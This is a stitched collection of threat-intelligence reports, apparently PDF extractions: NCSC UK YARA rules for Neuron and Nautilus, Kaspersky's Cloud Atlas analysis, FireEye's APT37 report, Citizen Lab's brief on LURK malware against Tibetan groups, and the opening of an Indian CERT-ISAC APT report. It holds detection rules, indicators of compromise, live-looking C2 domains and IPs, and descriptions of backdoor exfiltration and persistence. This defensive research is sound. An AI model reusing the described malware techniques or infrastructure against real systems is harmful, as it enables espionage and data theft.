1d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211 d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281211d1281 dotnetMagic BSJB ascii condition: (uint16(0) 0x5A4D and uint16(uint32(0x3c)) 0x4550) and all of them TLP WHITE TLP WHITE Page 24 of 27 rule neuron_functions_classes_and_vars meta: description Rule for detection of Neuron based on .NET function, variable and class names author NCSC UK hash d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29 strings: class1 StorageUtils ascii class2 WebServer ascii class3 StorageFile ascii class4 StorageScript ascii class5 ServerConfig ascii class6 CommandScript ascii class7 MSExchangeService ascii class8 W3WPDIAG ascii func1 AddConfigAsString ascii func2 DelConfigAsString ascii func3 GetConfigAsString ascii func4 EncryptScript ascii func5 ExecCMD ascii func6 KillOldThread ascii func7 FindSPath ascii var1 CommandTimeWait ascii dotnetMagic BSJB ascii condition: (uint16(0) 0x5A4D and uint16(uint32(0x3c)) 0x4550) and dotnetMagic and 6 of them TLP WHITE TLP WHITE Page 25 of 27 Nautilus File Name dcomnetsrv.dll Description Nautilus Loader DLL File Size (bytes) 121344 MD5 2f742ec3bb7590602bc3e97326f2476a SHA1 9d280e3ef1b180449086dda5b92a7b9bbe63dee4 SHA256 a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3 File Name oxygen.dll Description Nautilus Injected payload File Size (bytes) 620568 MD5 ea874ac436223b30743fc9979eed5f2f SHA1 5ed61ec7de11922582f07c3488ef943b439ee226 SHA256 cefc5cf4d46abb86fb0f7c81549777cf1a2a5bfbe1ce9e7d08128ab8bfc978f8 Nautilus Yara rule nautilus_modified_rc4_loop meta: description Rule for detection of Nautilus based on assembly code for a modified RC4 loop author NCSC UK hash a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3 strings: a 42 0F B6 14 04 41 FF C0 03 D7 0F B6 CA 8A 14 0C 43 32 14 13 41 88 12 49 FF C2 49 FF C9 condition: (uint16(0) 0x5A4D and uint16(uint32(0x3c)) 0x4550) and a TLP WHITE TLP WHITE Page 26 of 27 rule nautilus_rc4_key meta: description Rule for detection of Nautilus based on a hardcoded RC4 key author NCSC UK hash a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3 strings: key 31 42 31 34 34 30 44 39 30 46 43 39 42 43 42 34 36 41 39 41 43 39 36 34 33 38 46 45 45 41 38 42 condition: (uint16(0) 0x5A4D and uint16(uint32(0x3c)) 0x4550) and key rule nautilus_common_strings meta: description Rule for detection of Nautilus based on common plaintext strings author NCSC UK hash a415ab193f6cd832a0de4fcc48d5f53d6f0b06d5e13b3c359878c6c31f3e7ec3 strings: nautilus-service.dll ascii oxygen.dll ascii config_listen.system ascii ctx.system ascii 3FDA3998-BEF5-426D-82D8-1A71F29ADDC3 ascii C:\\ProgramData\\Microsoft\\Windows\\Caches\\s.2.ver0x0000000000000001.db ascii condition: (uint16(0) 0x5A4D and uint16(uint32(0x3c)) 0x4550) and 3 of them TLP WHITE TLP WHITE Page 27 of 27 Additional Indicators for Forensic Analysis The following indicators can be used to search for the presence of Neuron and Nautilus malware within forensic analysis tools. zf(-1, zf(-2, instructions:[type: App_Web_juvjerf3.dll App_Web_vcplrg8q.dll ar_all2.txt ar_sa.txt Convert. FromBase64String(temp[1]) D68gq5p0(3Ndsk dx11.exe ERRORF1.ASP errorFE.aspx errorfe.aspx.f5dba9b9.compiled intelliAdminRpc J8fs4F4rnP7nFlf lsa.exe Msnb.exe msrpc.exe Neuron_service owa.exe owa_ar2.bat rexec.exe payload.x64.dll.system service.x64.dll.system By GReAT Recent Cloud Atlas activity securelist.com/recent-cloud-atlas-activity/92016 Also known as Inception, Cloud Atlas is an actor that has a long history of cyber-espionage operations targeting industries and governmental entities. We first reported Cloud Atlas in 2014 and weve been following its activities ever since. From the beginning of 2019 until July, we have been able to identify different spear-phishing campaigns related to this threat actor mostly focused on Russia, Central Asia and regions of Ukraine with ongoing military conflicts. Countries targeted by Cloud Atlas recently Cloud Atlas hasnt changed its TTPs (Tactic Tools and Procedures) since 2018 and is still relying on its effective existing tactics and malware in order to compromise high value targets. The Windows branch of the Cloud Atlas intrusion set still uses spear-phishing emails to target high profile victims. These emails are crafted with Office documents that use malicious remote templates whitelisted per victims hosted on remote servers. We described one of the techniques used by Cloud Atlas in 2017 and our colleagues at Palo Alto Networks also wrote about it in November 2018. Previously, Cloud Atlas dropped its validator implant named PowerShower directly, after exploiting the Microsoft Equation vulnerability (CVE-2017-11882) mixed with CVE-2018-0802. During recent months, we have seen a new infection chain, involving a polymorphic HTA, a 1/5 https://securelist.com/recent-cloud-atlas-activity/92016/ https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/ https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/08/09151317/Recent-Cloud-Atlas-activity-1.png https://securelist.com/an-undocumented-word-feature-abused-by-attackers/81899/ https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/ https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/08/12084702/20190808_Infographics_Cloud_Atlas_Schema_2-5.png https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2019/08/12084643/20190808_Infographics_Cloud_Atlas_Schema_2.png new and polymorphic VBS implant aimed at executing PowerShower, and the Cloud Atlas second stage modular backdoor that we disclosed five years ago in our first blogpost about them and which remains unchanged. Lets meet PowerShower PowerShower, named and previously disclosed by Palo Alto Networks in their blogspot (see above), is a malicious piece of PowerShell designed to receive PowerShell and VBS modules to execute on the local computer. This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage. The differences in the two versions reside mostly in anti-forensics features for the validator version of PowerShower. The PowerShower backdoor even in its later developments takes three commands: Command Description 0x80 (Ascii P) It is the first byte of the magic PK. The implant will save the received content as a ZIP archive under TEMP\PG.zip. 0x79 (Ascii O) It is the first byte of On resume error. The implant saves the received content as a VBS script under APPDATA\Microsoft\Word\[A-Za-z]4.vbs and executes it by using Wscript.exe Default If the first byte doesnt match 0x80 or 0x79, the content is saved as an XML file under TEMP\temp.xml. After that, the script loads the content of the file, parses the XML to get the PowerShell commands to execute, decodes them from Base64 and invokes IEX. After executing the commands, the script deletes TEMP\temp.xml and sends the content of TEMP\pass.txt to the C2 via an HTTP POST request. A few modules deployed by PowerShower have been seen in the wild, such as: A PowerShell document stealer module which uses 7zip (present in the received PG.zip) to pack and exfiltrate .txt, .pdf, .xls or .doc documents smaller than 5MB 2/5 https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/ modified during the last two days A reconnaissance module which retrieves a list of the active processes, the current user and the current Windows domain. Interestingly, this feature is present in PowerShower but the condition leading to the execution of that feature is never met in the recent versions of PowerShower A password stealer module which uses the opensource tool LaZagne to retrieve passwords from the infected system. We havent yet seen a VBS module dropped by this implant, but we think that one of the VBS scripts dropped by PowerShower is a dropper of the groups second stage backdoor documented in our article back in 2014. And his new friend, VBShower During its recent campaigns, Cloud Atlas used a new polymorphic infection chain relying no more on PowerShower directly after infection, but executing a polymorphic HTA hosted on a remote server, which is used to drop three different files on the local system. A backdoor that we name VBShower which is polymorphic and replaces PowerShower as a validator A tiny launcher for VBShower A file computed by the HTA which contains contextual data such as the current user, domain, computer name and a list of active processes. This polymorphic infection chain allows the attacker to try to prevent IoC-based defence, as each code is unique by victim so it cant be searched via file hash on the host. 3/5 https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/ The VBShower backdoor has the same philosophy of the validator version of PowerShower. Its aim is to complicate forensic analysis by trying to delete all the files contained in APPDATA\..\Local\Temporary Internet Files\Content. Word and APPDATA\..\Local Settings\Temporary Internet Files\Content. Word\. Once these files have been deleted and its persistence is achieved in the registry, VBShower sends the context file computed by the HTA to the remote server and tries to get via HTTP a VBS script to execute from the remote server every hour. At the time of writing, two VBS files have been seen pushed to the target computer by VBShower. The first one is an installer for PowerShower and the second one is an installer for the Cloud Atlas second stage modular backdoor which communicates to a cloud storage service via Webdav. Final words Cloud Atlas remains very prolific in Eastern Europe and Central Asia. The actors massive spear-phishing campaigns continue to use its simple but effective methods in order to compromise its targets. 4/5 Unlike many other intrusion sets, Cloud Atlas hasnt chosen to use open source implants during its recent campaigns, in order to be less discriminating. More interestingly, this intrusion set hasnt changed its modular backdoor, even five years after its discovery. IoCs Some emails used by the attackers infocentre.govmail.ru middleeasteyeasia.com simbf2019mail.ru world_overviewpolitician.com infocentre.govbk.ru VBShower registry persistence Key : HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[a-f0-9A-F]8 Value : wscript //B APPDATA\[A-Za-z]5.vbs VBShower paths APPDATA\[A-Za-z]5.vbs.dat APPDATA\[A-Za-z]5.vbs APPDATA\[A-Za-z]5.mds VBShower C2s 176.31.59.232 144.217.174.57 5/5 https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/ Recent Cloud Atlas activity Lets meet PowerShower And his new friend, VBShower Final words IoCs Some emails used by the attackers VBShower registry persistence VBShower paths VBShower C2s The Overlooked North Korean Actor SPECIAL REPORT PY APT37 (REAPER) CONTENTS Introduction 3 Targeting and Mission 4 Initial Infection Vectors 7 Exploited Vulnerabilities 8 Command and Control Infrastructure 9 Malware 10 Attribution 12 Outlook and Implications 13 Appendix: Malware Used by APT37 14 INTRODUCTION On Feb. 2, 2018, we published a blog detailing the use of an Adobe Flash zero-day vulnerability (CVE-2018-4878) by a suspected North Korean cyber espionage group that we now track as APT37 (Reaper). Recent examination of this groups activities by FireEye iSIGHT Intelligence reveals APT37 has expanded its operations in both scope and sophistication. APT37s toolset, which includes access to zero-day vulnerabilities and wiper malware, combined with heightened tensions in Northeast Asia and North Koreas penchant for norm breaking, means this group should be taken seriously. We assess with high confidence that this activity is carried out on behalf of the North Korean government given malware development artifacts and targeting that aligns with North Korean state interests. FireEye iSIGHT Intelligence believes that APT37 is aligned with the activity publicly reported as Scarcruft and Group123. SPECIAL REPORT2 APT37 (REAPER): THE OVERLOOKED NORTH KOREAN ACTOR 3 We judge that APT37s primary mission is covert intelligence gathering in support of North Koreas strategic military, political and economic interests. This is based on consistent targeting of South Korean public and private entities and social engineering. APT37s recently expanded targeting scope also appears to have direct relevance to North Koreas strategic interests. From 2014 to 2017, APT37 targeting concentrated primarily on the South Korean government, military, defense industrial base, and media sector. Lure materials (Fig. 2) typically leveraged the Korean language and featured themes such as Korean peninsula reunification or sanctions. Figure 2. 2016 Korean Reunification Conference Form (MD5:183be2035d5a546670d2b9deeca4eb59). APT37 has likely been active since at least 2012 and focuses on targeting the public and private sectors primarily in South Korea. In 2017, APT37 expanded its targeting beyond the Korean peninsula to include Japan, Vietnam and the Middle East, and to a wider range of industry verticals, including chemicals, electronics, manufacturing, aerospace, automotive and healthcare entities (Fig. 1). Targeting and Mission Figure 1.
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FE_APT_Trojan_Zumkong Trojan.
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data/reports_final/0242.txt
FE_APT_Trojan_Zumkong Trojan. APT.Zumkong WINERACK WINERACK is backdoor whose primary features include user and host information gathering, process creation and termination, filesystem and registry manipulation, as well as the creation of a reverse shell that utilizes statically-linked Wine cmd.exe code to emulate Windows command prompt commands. Other capabilities include the enumeration of files, directories, services, active windows and processes. FE_APT_Backdoor_WINERACK Backdoor. APT.WINERACK FireEye, Inc. 601 McCarthy Blvd. Milpitas, CA 95035 408.321.6300 877 FIREEYE (347.3393) infoFireEye.com www. FireEye.com FireEye, Inc 2018 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc. All other brands, products, or service names are or may be trademarks or service marks of their respective owners. SP.APT37.EN-US.22018 1 The Citizen Lab Research Brief Number 10 July 2012 Recent Observations in Tibet-Related Information Operations: Advanced Social Engineering for the Distribution of LURK Malware KEY FINDINGS Social engineering techniques observed in recent targeted malware attacks against Tibetan organizations appear to repurpose authentic, privately-held, sensitive content of Tibetan groups in contrast to typical malware attacks that rely on simpler social engineering methods, such as referencing themes of interest to the organization or copying publicly available legitimate content. The use of this unique content suggests that attackers may have achieved a preliminary level of infiltration into Tibetan organizations, which could allow them to increase the apparent authenticity of subsequent attacks. These recent malware attacks have incorporated a passwording technique, whereby attached, infected Microsoft Office files are encrypted and can only be opened with a password provided in the email body. The payload of each of these targeted malware attacks is the LURK malware, a remote access trojan that is a variant of Gh0stRAT. Once active, the malware delivered through each of these targeted attacks connects to the same command-and-control server: dtl.dnsd.me:63 (184.105.64.183), which if inaccessible uses a backup domain, dtl.eatuo.com:63. Both dnsd.me and eatuo.com are dynamic DNS providers, and eatuo.com has the same domain registration information as the well-known Chinese provider 3322.net. Number 10 July 2012 2 BACKGROUND This blog post is the third in a series documenting the use of information operations against Tibetans and others who advocate for Tibetan rights and freedoms. Previous research by the Citizen Lab has described information operations that leveraged the issue of self- immolations amongst Tibetans, as well as a recent European Parliament resolution on the human rights situation in Tibet. OVERVIEW In its ongoing study of targeted cyber threats against civil society organizations, Citizen Lab has analyzed 11 malicious emails sent to Tibetan organizations between May and July 2012 that display noteworthy common elements, including malware that connects to the same command-and-control server. Attackers have targeted at least three separate organizations, sending the malicious emails to seven different email addresses associated with those three organizations. In each of these emails, the malicious file is password-protected, such that it can only be opened with a password provided in the email text (or in one case, in an image attached to the email), and the payload LURK malware is the same. The level of authenticity of the social engineering used in these emails, however, has increased over time, with the most recent emails repurposing sensitive content of Tibetan groups that was most likely privately held and/or inaccessible to the general public. The use of such content suggests that attackers may have achieved a preliminary level of infiltration into Tibetan organizations, which could allow them to accomplish more advanced and effective social engineering, thereby increasing the risk of compromise. TARGETED MALWARE ATTACKS In the 11 emails there are four distinct messages used in the attacks, as outlined and illustrated below. The malicious attachments are all Microsoft Office documents two Word documents and two Excel files that are encrypted using four-digit numeric passwords, perhaps in an attempt to prevent detection of the malicious file by antivirus software, or to increase the apparent authenticity of the document. The passwords appear to have been chosen to reflect dates of historical significance with respect to Tibet for example, 1959 was the year of the Tibetan uprising against the rule of the Communist Party of China, which is commemorated by the Tibetan community every year on March 10. The malicious payloads all ommunicate with the same command-and-control (C2) server (discussed further below). c http://citizenlab.org/2012/03/information-operations-and-tibetan-rights-in-the-wake-of-self-immolations-part-i/ http://citizenlab.org/2012/03/information-operations-and-tibetan-rights-in-the-wake-of-self-immolations-part-i/ https://citizenlab.org/2012/06/spoofing-the-european-parliament/ Number 10 July 2012 3 1. Droeshi The first email, which was only sent to one email address of which we are aware, was sent on May 24, 2012 from what appears to be a compromised yahoo.com email account associated with a Tibetan activist, from the IP address 209.234.204.31 (likely a compromised server): Number 10 July 2012 4 Note that the salutation does not include the name of the recipient, nor is it signed. The password required to open the attachment is 4155.1 The attachment is a Word document named Droeshi final.doc when opened and supplied with the password, it crashes Word and drops its malicious payload (described in more detail below). No clean file is dropped or shown to the user, and there is no author or summary metadata. 2. Statement of the Kashag The second email was sent on July 5 to at least two different organizations. The body of these emails contains only PASSWORD: 0706.2 The subject is THE STATEMENT OF THE KASHAG ON THE SEVENTY-SEVENTH BIRTHDAY CELEBRATION OF HIS HOLINESS THE DALAI LAMA and the From address spoofs the real address of a Tibetan organization. Although the emails are identical and were sent from the same IP address (65.166.97.211), the actual email addresses used to send each message differ: eablizgmx.com and hientrgmx.com. This email also attached a single Word document, July6thFinal.doc, that exhibits similar behaviour to the Droeshi document but drops a slightly different malicious executable. 3. The concept notes The third email came in two versions on July 17, differing only in an additional blank line in the email body and a typo in the subject line of one version. The social engineering has been significantly stepped up in this attack, though there are still numerous tell-tale signs that it is not legitimate. This email had five attachments: four benign .docx files, as well as a malicious Excel file named EIDHR_action_plan.xlsx. https://citizenlab.org/2012/07/recent-observations/1 https://citizenlab.org/2012/07/recent-observations/2 mailto:hientrgmx.com Number 10 July 2012 5 Again there is no name in the salutation, but the email is signed in this case. The signature and From address used spoof a representative of the Office of Tibet. The Word documents attached to this email contain what appears to be an actual application by a Tibetan organization to the European Instrument for Democracy and Human Rights (EIDHR). The timing of this attack is particularly noteworthy in that a genuine EIDHR call for proposals including for Actions Aimed at Fighting Cyber-Censorship and to Promote Internet Access and Secure Digital Communication was pending at the time, with a July 20 deadline for concept notes. Such documentation related to grant proposals is typically of a sensitive and internal nature to civil society organizations, and inclusion of such content in a targeted malware attack is concerning, as it suggests access to confidential materials and perhaps even awareness of the parameters of the EIDHR call. Only the attached malicious Excel file requires the password 19333 to open, whereas the attached Word documents are not password protected. The malicious Excel file is actually an OLE file, not the newer Office Open XML format that the .xlsx extension suggests, and Excel refuses to open it unless the extension is changed to .xls. The dropped malicious executable is identical to the one from the Statement of the Kashag email. This file also drops a clean document, set.xls, in the users temporary folder and opens it in Excel. The contents of the file were unreadable on all computers we tried it on, displaying only question marks. However, the metadata of the file shows the author as walkinnet. https://webgate.ec.europa.eu/europeaid/online-services/index.cfm?dopubli.welcomenbPubliList15orderbyupdorderbyadDescsearchtypeRSaofr132760 https://citizenlab.org/2012/07/recent-observations/3 http://support.microsoft.com/kb/86008 Number 10 July 2012 6 We saw five instances of this message, going to three different organizations. The email with the typo in the subject (Tthe concept notes) went to two different organizations, from a different IP (66.103.141.237) than the Statement of the Kashag email. Different gmx.com addresses were used to send each message: c100tibet_boardgmx.com and ijoni_futbollistigmx.com. The other three instances of this email had the subject The concept notes and were sent by yet more unique gmx.com addresses: abarbourgmx.com, jigme1gmx.com and agnes9gmx.com. The first two were sent from the same IP as used for the Statement of the Kashag, but the third came from 207.178.172.2. Number 10 July 2012 7 4. August visit of South African group The most recent email was sent on July 20 to at least two organizations, one of which received it at two different addresses. The email contains text and an Excel attachment that, as with the The concept notes email, suggest the attacker had access to confidential communications of a Tibetan organization. The spoofed From address, subject (August visit of South African group), and text of the email all appear to be repurposed from an authentic message sent to a Tibetan organization from a person seeking advice regarding an upcoming trip to Dharamsala, and the content includes in-depth details on trip logistics and planning. In this case, the password required to open the attached Excel file is not in the body of the email, but added (rather awkwardly) to an attached image of the logo of the organization belonging to the spoofed sender. The password is 1959, the year of the aforementioned Tibetan uprising. The attached Excel file, Dharamsala August 2012 Full program.xls, is similar to the malicious attachment in The concept notes email, but it drops a different clean file. In this case the file is readable and contains what is almost certainly an authentic itinerary, which is referenced in the email. The clean file is also called set.xls, defaults to the same Chinese font, and has the same walkinnet author metadata as the clean document in The concept notes. TECHNICAL ANALYSIS Delivery Methods Within the dataset examined by Citizen Lab, two Word documents and two Excel documents were sent embedded with LURK malware, a remote access trojan that is a variant of Gh0stRAT. Note that the XLSX file is actually a standard .XLS file, not the new XML format. The MD5 hashes of the documents are as follows: Droeshi final.doc 58f6922dedb0d43c4478a4f38ad08620 July6thFinal.doc f2a0787388dd6373336b3f23f204524a EIDHR_action_plan.xlsx 0fe550a5d1187d38984c505ef7741638 Dharamsala August 2012 Full program.xls 971f99af0f9df674a79507ed7b3010fb https://www.mcafee.com/us/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf Number 10 July 2012 8 Each document is encrypted with a four-digit numeric password, a tactic seen previously in other emails. This tactic makes it more difficult to identify embedded payloads and the vulnerability used. All of the files except for the first (Droeshi final.doc) have the same malware files embedded. The first uses a variant of the LURK trojan that is very similar, but not identical, to the others. Infection In each of the four cases, the document exploit drops the LURK trojan: Temp\iexplore.exe Two different versions of the trojan were seen between the four cases. While they all use the same filenames, n one case, the MD5 of the trojan is different: i July6thFinal.doc, EIDHR_action_plan.xlsx, Dharamsala August 2012 Full program.xls: 16160a6a9b905c69cb8e92c319212980 Droeshi final.doc: 1c22ee3326affee30c3fa65f0b8413d5 LURK also uses the following files: AppData\Application Data\Help\CREATELINK.EXE AppData\Help\IconCacheEt. DAT AppData\Help\IconConfigEt. DAT AppData\\Help\iexplore.exe Additionally, the samples that use Excel as their vector also drop a clean file, opened after the malware executes: Number 10 July 2012 9 Temp\set.xls For persistence, the trojan also creates the following link in the Startup folder, pointing at the iexplore.exe inary in AppData: b C:\Documents and Settings\user\Start Menu\Programs\Startup\iexplore.lnk The binary in AppData is only 9KB and acts as a launcher. IconConfigEt. DAT is the trojans configuration file, storing the C2 server addresses and ports, as well as a campaign name identifier. The file is mostly encrypted, with the campaign name stored in the clear. The configuration options are read from the main executable using GetPrivateProfileStringW(), a function for pre- registry configuration storage. This function is for backwards compatibility with pre-registry 16-bit Windows applications, and is not commonly used in modern applications. Number 10 July 2012 10 Decryption of the configuration file is done in sub_4044B0() using a key generated in sub_404430() the default is 0x11B29719, in the case of the more common version of the trojan the key is 0x11B297A9. Once the values have been read from the decrypted file, it is re-encrypted in sub_404560(). Encrypted on disk (default): Decrypted: Once the configuration file is decrypted, the values are still not readable. Fortunately, the second layer decryption is an easy process just decrement each character by 1. The values read from the configuration file are: 1. Section [PPP], key P: Primary C2 server port number 2. Section [WWW], key W: Primary C2 server name 3. Section [PPP1], key P1: Secondary C2 server port number 4. Section [WWW1], key W1: Secondary C2 server name 5. Section [PPP2], key P2: Tertiary C2 server port number 6. Section [WWW2], key W2: Tertiary C2 server name 7. Section [MMM], key M: Campaign name Number 10 July 2012 11 In the configuration files we have looked at for this run, the primary server is dtl.dnsd.me:63, and the secondary server is dtl.eatuo.com:63. Both dnsd.me and eatuo.com are dynamic DNS providers, and eatuo.com has the same domain registration information as the well-known Chinese provider 3322.org. No tertiary server is given. The malware checks in sub_4040E0() for a value of Mark in the registry at the following location: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\DbxUpdateET\ I f a value is not found, it is set with the campaign name read from the configuration file key M. Campaign Names The four samples we received use three different campaign names, identified as follows in value 7 of each configuration file: Droeshi final.doc: campaign id TIBET July6thFinal.doc: campaign id T706 (note that the password on the file is also 0706, keeping on theme) EIDHR_action_plan.xlsx: campaign id T801 Dharamsala August 2012 Full program.xls: campaign id T801 The campaign names strongly suggest that these runs are specific to the Tibetan community, and that the Txxx attacks may be coming from the same source. The July6thFinal.doc, EIDHR_action_plan.xlsx, and Dharamsala August 2012 Full program.xls documents all drop the same trojan the Droeshi final.doc trojan is slightly different (although uses much of the same code). Malware Analysis These samples match the behavior seen with other recorded instances of samples from this family in the wild. LURK is also known as TrojAgent-XAT (Sophos), TROJ_MDROP.TPB and TROJ_MDROP.TPC (Trend Micro), and can also be picked up by more general antivirus detection such as Generic PWS.y (McAfee). In http://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj7EAgent-XAT/detailed-analysis.aspx http://about-threats.trendmicro.com/malware.aspx?languageuknameTROJ_MDROP.TPC http://www.mcafee.com/threat-intelligence/malware/default.aspx?id1024926 Number 10 July 2012 12 the sample analyzed by Sophos, the campaign ID is IE_0day not immediately related to attacks on the Tibetan community. Many more samples within this family exist with reports online look for DbxUpdateET (where the campaign ID is stored in the registry) or the dropped files IconCacheEt and IconConfigEt. Another Tibetan-themed example using the dtl.eatuo.com domain was reported by ZenLab on March 26, 2012. The LURK malware is also referenced with a description of the communication protocol in Command Fives paper Command and Control in the Fifth Domain. The network behavior we observed matches the described protocol. An additional file with the T801 campaign ID that we observed used twice was uploaded to ThreatExpert and can be found here. Command and Control Information A port scan of the C2 server shows the following ports are open: PORT STATE SERVICE VERSION 21/tcp open tcpwrapped 53/tcp open domain? 80/tcp closed http 81/tcp open hosts2-ns? 135/tcp open msrpc Microsoft Windows RPC 1026/tcp open msrpc Microsoft Windows RPC 8080/tcp open http-proxy? In addition to port 63 (which is not shown as open in the above scan), ports 81 and 53 are both LURK. Network Traffic In addition to the dropped files, infected machines can be found on a network by looking for the following indications of compromise: DNS lookup of the C2 domains: dtl.dnsd.me, dtl.eatuo.com Traffic to the C2 IP: 184.105.64.183 this includes traffic over port 53, which is normally DNS https://malwarelab.zendesk.com/entries/21199507-tibetan-journalists-targeted-by-gh0strat-in-protest-pictures-rar http://www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf http://www.threatexpert.com/report.aspx?md5ee5d4a5dddeef35a2b722fa907753e71 Number 10 July 2012 13 TCP traffic over port 53 that begins with LURK0 The beginning of a network connection to the C2 server looks like this: I f the C2 is not actively responding, not much data will be transmitted beyond TCP: For detection, Jaime Blasco from AlienVault has written a Snort rule that will detect LURK traffic (originally found here): http://labs.alienvault.com/labs/index.php/2012/some-apt-cc-traffic-snort-rules/ Number 10 July 2012 14 alert tcp HOME_NET any - EXTERNAL_NET HTTP_PORTS (msg:APT LURK communication protocol detected flow:established,to_server content:4C 55 52 4B 30 depth:5 reference:url,www.commandfive.com/papers/C5_APT_C2InTheFifthDomain.pdf classtype:trojan-activity sid:3000006 rev:1) RECOMMENDATIONS Civil society organizations, particularly those working on issues related to Tibetan rights, should exercise caution with respect to any email containing a link or attachment. As the targeted malware attacks analyzed in this report demonstrate, content used to induce a recipient to open a malicious file may at one point have actually been authentic and private and is that much more likely to appear legitimate. For tips on other ways to detect probable malware attacks and prevent compromise, see Citizen Labs Recommendations for Defending Against Targeted Cyber Threats. Civil society organizations should be wary of emails attaching password-protected documents and providing said password in the email body. Such purported security measures are not an indicator of authenticity. Citizen Lab encourages civil society organizations and individuals working on human rights issues that have encountered these types of targeted malware attacks to contact us at hrthreats[AT]citizenlab.org. We appreciate submission of data, which will help strengthen our analysis of cyber threats. __________________ FOOTNOTES 1 On April 1, 1955, the governments of India and China signed a protocol by which India handed over control of communications services in Tibet to China. See Protocol between the Governments of India and China Regarding the Handing Over of Postal, Telegraph and Public Telephone Services in the Tibet Region of China. https://citizenlab.org/docs/recommendations.html http://www.commonlii.org/in/other/treaties/INTSer/1955/2.html http://www.commonlii.org/in/other/treaties/INTSer/1955/2.html http://www.commonlii.org/in/other/treaties/INTSer/1955/2.html Number 10 July 2012 15 2 The Fourteenth Dalai Lama Tenzin Gyatso was born on July 6, 1935. 3 The Thirteenth Dalai Lama Thupten Gyatso passed away on December 17, 1933. http://www.dalailama.com/biography/chronology-of-events http://www.dalailama.com/biography/chronology-of-events Author:, Rajshekhar Murthy Director, CERT-ISAC, National Security Database Atul Alex Cherian Director, Research Bundle Inside Report APT Attacks on Indian Cyber Space REPORT BY INFOSEC CONSORTIUM CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com In Collaboration with Supporting Authors: Atul Alex Cherian, National Security Database empaneled expert Director Research Bundle Rajshekhar Murthy, National Security Database empaneled expert Director CERT-ISAC (NSD) CERT-ISAC Supported by NTRO and CERT-IN, Government of India Malware analysis powered by Po Antivirus from Research Bundle CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Supported by An INFOSEC CONSORTIUM Event CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Objective: The objective of this report is the following: An overview of malware distribution in Indian Cyberspace Detailed, in-depth technical analysis of Advanced Persistent Threat (APT) actors against India Enumerate the primary technical causes leading to successful attacks Recommendations to improve and protect the overall Critical Information Infrastructuren About CERT-ISAC CERT-ISAC is Indias first Independent CERT for mobile and electronic security. Established by the non-profit scientific foundation Information Sharing and Analysis Center (ISAC) that manages the National security Database (NSD) program, CERT-ISAC has a dedicated 30 seat threat intelligence monitoring center at New Delhi and Mumbai to monitor constant threats and attacks on the India Cyber Space. CERT-ISAC has numerous security experts from the National Security Database program who regularly support the research initiatives. About Po: Mobile Anti-Virus Po is an advanced behavior based mobile anti-virus designed by the organization Research Bunble, especially for the defence. The Po Engine is currently used by CERT-ISAC for malware analysis and certification of mobile apps for security and privacy. How is this document organized: Pre-requsites to read the document Section Rating Audience Part One Non Technical CEOS, Chairman, Directors Part Two Highly Technical Technical and Subject Matter Experts Part Three Semi-Technical Managers, CIOs, Vice Presidents and above Part Four Non Technical CEOs, Chairman, Policy makers, Authority CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po Anti-virus from www.researchbundle.com Table of Contents Objective: ............................................................................................................................................................................................. 3 About CERT-ISAC .................................................................................................................................................................................. 3 About Po: Mobile Anti-Virus ................................................................................................................................................................ 3 How is this document organized: .................................................................................................................................................... 3 Pre-requsites to read the document ............................................................................................................................................... 3 PART ONE: HUNTER OR HUNTED? ....................................................................................................................................................... 6 How is this report organized? ......................................................................................................................................................... 6 APT campaigns against India ........................................................................................................................................................... 6 Malware Distribution in India.......................................................................................................................................................... 7 Overview of attacks on India from 26th May 2013 to 26th June 2013 .............................................................................................. 7 Attacked and compromised websites from TATA Communications ............................................................................................... 7 Attacked and compromised websites from Web Werks ................................................................................................................. 8 Attacked and compromised websites from Net Magic Datacenter Mumbai .................................................................................. 8 Attacked and compromised websites from Ctrl-S Datacenter ........................................................................................................ 9 Attacked and compromised websites from Net4India .................................................................................................................... 9 Attacked and compromised websites from National Informatics Center (NIC) ............................................................................ 10 Statistics from CERT-IN .................................................................................................................................................................. 10 Attack on Indian IT Infrastructure: Zone-H Statistics .................................................................................................................... 11 PART TWO: ADVANCED PERSISTENT THREAT - ANALYSIS ................................................................................................................. 13 The Travnet Case ........................................................................................................................................................................... 13 Travnet Technical Analysis: Part A................................................................................................................................................. 14 Travnet Technical Analysis: Part B ................................................................................................................................................. 26 Travnet Technical Analysis : Part C ................................................................................................................................................ 30 Conclusion of Travnet Analysis: ..................................................................................................................................................... 40 PART THREE: PRIMARY CAUSES ......................................................................................................................................................... 42 Use of Outdated Software on Government Websites................................................................................................................... 42 Webshells on Indian Websites ...................................................................................................................................................... 43 PART FOUR: RECOMMENDATIONS .................................................................................................................................................... 46 Policy on Domain Name acquisition, management maintenance ............................................................................................. 46 Policy on Vendor qualification for secure website development.................................................................................................. 46 Policy on Patch Management ........................................................................................................................................................ 46 Policy, Process and Guidelines on Full disclosures ........................................................................................................................ 47 Role of National Security Database ............................................................................................................................................... 47 References:.................................................................................................................................................................................... 47 CERT-ISAC - Indias first independent CERT for mobile electronic security Powered by Po 